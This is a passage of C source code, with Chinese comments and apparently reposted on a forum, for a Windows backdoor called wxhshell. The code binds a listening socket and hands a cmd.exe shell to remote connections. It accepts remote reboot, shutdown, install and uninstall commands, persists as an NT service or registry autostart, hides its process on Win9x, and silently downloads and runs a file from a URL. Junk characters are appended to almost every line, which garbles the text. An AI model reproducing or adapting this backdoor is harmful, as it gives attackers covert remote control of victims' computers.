  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3DO*kM1s@  
  } =A5i84y.2u  
  else { U>kaQ54/  
(A2ga):Pk  
    switch(cmd[0]) { jk`U7 G*  
  IsT}T}p,t  
  // 帮助 Uhvy 2}w  
  case '?': { YN)qMI_ `A  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >0SG]er@  
    break; |34k;l]E  
  } 2. nT k   
  // 安装 M5*Ln-qt(a  
  case 'i': { lFuW8G,-f@  
    if(Install()) k @fxs]Y_L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )r"R  
    else Z<|x6%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B[mZQ&Gz`a  
    break; vV"YgN:  
    } v3[ZPc;;  
  // 卸载 Ew]&~:$Ki  
  case 'r': { LntRLB'  
    if(Uninstall()) '\QJ{/JV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :JBt qpo2  
    else MA{ZmPm)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I.t)sf,  
    break; DBy%"/c  
    } >Ch2Ep  
  // 显示 wxhshell 所在路径 Zah<e6L  
  case 'p': { dgQ<>+9]6  
    char svExeFile[MAX_PATH]; @RB^m(> 5  
    strcpy(svExeFile,"\n\r"); !gyW15z'  
      strcat(svExeFile,ExeFile); '~yxu$aK  
        send(wsh,svExeFile,strlen(svExeFile),0); O\q6T7bfRW  
    break; [2Y@O7;n I  
    } @sa_/LH!K  
  // 重启 TyO]|Q5  
  case 'b': { yz3=#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^VzhjKSu  
    if(Boot(REBOOT)) 7lYf+&JZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pbh>RS=ri  
    else { DQObHB8L  
    closesocket(wsh); = <A0;  
    ExitThread(0); ~Q^.7.-T  
    } hH$9GL{H  
    break; >8>s K(S]  
    } Z!q$d/1  
  // 关机 .,VLQ btg  
  case 'd': { `E;xI v|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); uYO$gRem  
    if(Boot(SHUTDOWN)) -m ,Y6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j7Zv"Vq@  
    else { tw 3zw`o:  
    closesocket(wsh); owa&HW/_  
    ExitThread(0); uu-M7>+  
    } 0WZd$  
    break; bWp)'mx5u  
    } (3K,f4S@  
  // 获取shell /^K-tz-R  
  case 's': { eF0FQlMe[  
    CmdShell(wsh); U |eh  
    closesocket(wsh); wk?i\vm  
    ExitThread(0); 6e|uA7i4  
    break; D1ik*mDA=  
  } 5l,Lp'k  
  // 退出 wKcuIc$  
  case 'x': { |BtFT  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); jc32s}/H  
    CloseIt(wsh); +u |SX/C  
    break; m+dQBsz\  
    } oG hMO  
  // 离开 s,mt%^x[  
  case 'q': { Fv(FRZ)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); b5~p:f-&4B  
    closesocket(wsh); i u0'[  
    WSACleanup(); CZ^ ,bad  
    exit(1); ]"O* &  
    break; ~md06"AYJ  
        } Ke[`zui@?  
  } h0x'QiCc  
  } Jz0AYiCq  
FBrh!vQ<  
  // 提示信息 3k8nWT:wT  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); < h|&7  
} %"#ydOy  
  } Y#P!<Q>}  
P=P']\`p+  
  return; =~,2E;#X  
} ',D%,N}J  
h*hkl#  
// shell模块句柄 @5 ??`n  
int CmdShell(SOCKET sock) @I&k|\  
{ gLFSZ  
STARTUPINFO si; D#,A_GA{A  
ZeroMemory(&si,sizeof(si)); `PLax@]2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8B "^}y\0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &\ad.O/Q  
PROCESS_INFORMATION ProcessInfo; U.Z5;E0:  
char cmdline[]="cmd"; 0Bkc93  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;B }4pv}  
  return 0; lN"@5(5%  
} ?{L'd  
hq&9S{Ep  
// 自身启动模式 A*|\E:fo  
int StartFromService(void) A&ceuu  
{ Rb^G~82d?  
typedef struct sw:a(o&$  
{ m.gv?  
  DWORD ExitStatus; 6B b+f"  
  DWORD PebBaseAddress; roi,?B_8  
  DWORD AffinityMask; 7 > _vH]  
  DWORD BasePriority; FLG{1dS  
  ULONG UniqueProcessId; 0=9$k  
  ULONG InheritedFromUniqueProcessId; q&:%/?)x  
}   PROCESS_BASIC_INFORMATION; IQ$6}.  
wZ`*C mr  
PROCNTQSIP NtQueryInformationProcess; ]X X>h~0  
{EVy.F  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %n,_^voE  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !F Zg' 9  
C0^r]^$Z  
  HANDLE             hProcess; $EdL^Q2KAy  
  PROCESS_BASIC_INFORMATION pbi; p9MJa[}V  
4,=;:#n,J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); y\:Ma7V  
  if(NULL == hInst ) return 0; ^FTS'/Q  
pz{ ]O_px  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &:}WfY!hX  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); J9J/3O Q=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); xlsAct:  
I2) 2'j,B  
  if (!NtQueryInformationProcess) return 0; 4T~wnTH0Xg  
SoFl]^l  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [CAFh:o  
  if(!hProcess) return 0; xNRMI!yv   
`O%O[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L@?3E`4/v  
V1Gnr~GM  
  CloseHandle(hProcess); aM_O0Rn==  
^ME'D  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "F Etl(  
if(hProcess==NULL) return 0; .rX,*|1x  
,sg\K> H=  
HMODULE hMod; [4yw? U  
char procName[255]; HRCnjem/v\  
unsigned long cbNeeded; \0e`sOS`L  
Jt}#,I,B  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~g@}A  
M[u6+`  
  CloseHandle(hProcess); C/9]TkX}q  
"kVzN22  
if(strstr(procName,"services")) return 1; // 以服务启动 [e{W:7uFV  
ZhC ,nbM  
  return 0; // 注册表启动 oDt{;S8|]  
} rz%^l1@-  
E>r7A5Uo  
// 主模块 *l%&/\  
int StartWxhshell(LPSTR lpCmdLine) &xt GabNk  
{ )4 ,U  
  SOCKET wsl; -I;\9r+  
BOOL val=TRUE; f)r6F JLU  
  int port=0; 50T^V`6  
  struct sockaddr_in door; _S-@|9\&#  
Qte%<POx+  
  if(wscfg.ws_autoins) Install(); QTN'yd?WE  
vbG&F.P  
port=atoi(lpCmdLine); 43O5|8o  
i;juwc^n}  
if(port<=0) port=wscfg.ws_port; EiZa,}A  
"-rqL  
  WSADATA data; H_aG\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .2ZFJ.Z"  
H9!q)qlK  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   OpK_?XG  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); NnU`u.$D  
  door.sin_family = AF_INET; vWa\8yf  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); h 'Hnq m  
  door.sin_port = htons(port); % w  
Fw}|c  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <zAYq=IU  
closesocket(wsl); ip1gCH/?_+  
return 1; N8J(RR9O  
} S a}P |qI  
cz|?j  
  if(listen(wsl,2) == INVALID_SOCKET) { @*|T(068&  
closesocket(wsl); UG}2q:ST  
return 1; P^ <to(|  
} D`Ka IqLz  
  Wxhshell(wsl); !E)|[:$XT  
  WSACleanup(); f=S2O_Ee  
Imq-5To#  
return 0; T{yJL<  
VC% .u.< F  
} $3%+N|L  
hMV>5Y[s  
// 以NT服务方式启动 OkCAvRg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) | :id/  
{ )%lPKp4]  
DWORD   status = 0; {2i8]Sp1d/  
  DWORD   specificError = 0xfffffff; 33&\E- Q>  
_c5*9')-)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4:/^.:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; - leYR`P  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |f.,fVVV;  
  serviceStatus.dwWin32ExitCode     = 0;  Q7tvpU  
  serviceStatus.dwServiceSpecificExitCode = 0; 6GqC]rd*:  
  serviceStatus.dwCheckPoint       = 0; /{ W6]6^  
  serviceStatus.dwWaitHint       = 0; TNK1E  
3=*ur( Qy  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N0JdU4'  
  if (hServiceStatusHandle==0) return; `46.!  
.*.eY?,V  
status = GetLastError(); 5OX[)Li  
  if (status!=NO_ERROR) 9jM7z/Ff  
{ 6E9/ z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; XP?)x Dr8  
    serviceStatus.dwCheckPoint       = 0; vJV/3-yX  
    serviceStatus.dwWaitHint       = 0; & d$X:  
    serviceStatus.dwWin32ExitCode     = status; vbZ!NO!H  
    serviceStatus.dwServiceSpecificExitCode = specificError; S2nX{=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <iGW~COd  
    return; jp^Sw|  
  } ^Xu4N"@  
O}p<"3Ub  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (Nv -wU  
  serviceStatus.dwCheckPoint       = 0; )?c,&  
  serviceStatus.dwWaitHint       = 0;  X>P|-n#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Q;A\M  
} {t!7r_hj  
%/5Wj_|p  
// 处理NT服务事件,比如:启动、停止 NK(_ &.F  
VOID WINAPI NTServiceHandler(DWORD fdwControl) M CP GDr  
{ y\Utm$)j  
switch(fdwControl) ()F {kM8  
{ 1xkrh qq  
case SERVICE_CONTROL_STOP: ZmNNR 1%/  
  serviceStatus.dwWin32ExitCode = 0; W8;!rFW  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; B;W%P.<.  
  serviceStatus.dwCheckPoint   = 0; jIVDi~Ld  
  serviceStatus.dwWaitHint     = 0; .`V$j.a  
  {  5sN6&'[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o P;6i  
  } &g1\0t  
  return; c"pOi&  
case SERVICE_CONTROL_PAUSE: Mw)6,O`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; cUdS{K&K  
  break; x{tlC}t  
case SERVICE_CONTROL_CONTINUE: dM P'Vnfj  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; GG +T-  
  break; !6@'H4cb=  
case SERVICE_CONTROL_INTERROGATE: -5ZmIlL.S  
  break; BMuEfa^  
}; Jmi,;Af'/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sowwXrECg@  
} qMA-#  
22U`1AD3U  
// 标准应用程序主函数 S6 a\KtVa  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (Cfb8\~  
{ v\@RwtP  
PLMC<4$s  
// 获取操作系统版本 Ki7t?4YE  
OsIsNt=GetOsVer(); mtn^+*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); U V*Ruy-  
7 ]ysvSM  
  // 从命令行安装 6)P.wW  
  if(strpbrk(lpCmdLine,"iI")) Install(); C H 29kQ  
NY.* S6  
  // 下载执行文件 rjO{B`sV*  
if(wscfg.ws_downexe) { o[fg:/5)A  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ( N};.DB1Y  
  WinExec(wscfg.ws_filenam,SW_HIDE); &>E gKL  
} kc't  
 X0$q !  
if(!OsIsNt) { #8yo9g6  
// 如果时win9x,隐藏进程并且设置为注册表启动 Jp+'"a  
HideProc(); NRx I?v  
StartWxhshell(lpCmdLine); -)VjjKz]8  
} Lhe&  
else y_=y%  
  if(StartFromService()) #kq!{5,  
  // 以服务方式启动 x\8|A  
  StartServiceCtrlDispatcher(DispatchTable); 3}F>t{FDk  
else Q}KOb4D  
  // 普通方式启动 J ou*e%  
  StartWxhshell(lpCmdLine); tqCkqmyC  
&tvp)B?cWk  
return 0; l &'q+F  
}
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只看该作者 1 发表于: 2006-10-10
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